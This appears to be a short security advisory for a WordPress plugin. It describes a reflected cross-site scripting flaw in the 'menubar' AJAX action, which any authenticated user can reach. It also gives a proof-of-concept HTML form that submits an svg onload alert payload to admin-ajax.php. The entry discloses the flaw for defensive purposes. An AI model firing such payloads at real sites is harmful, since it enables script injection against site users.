The plugin does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="menubar" />
<input type="hidden" name="command" value="<svg/onload=alert(/XSS/)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>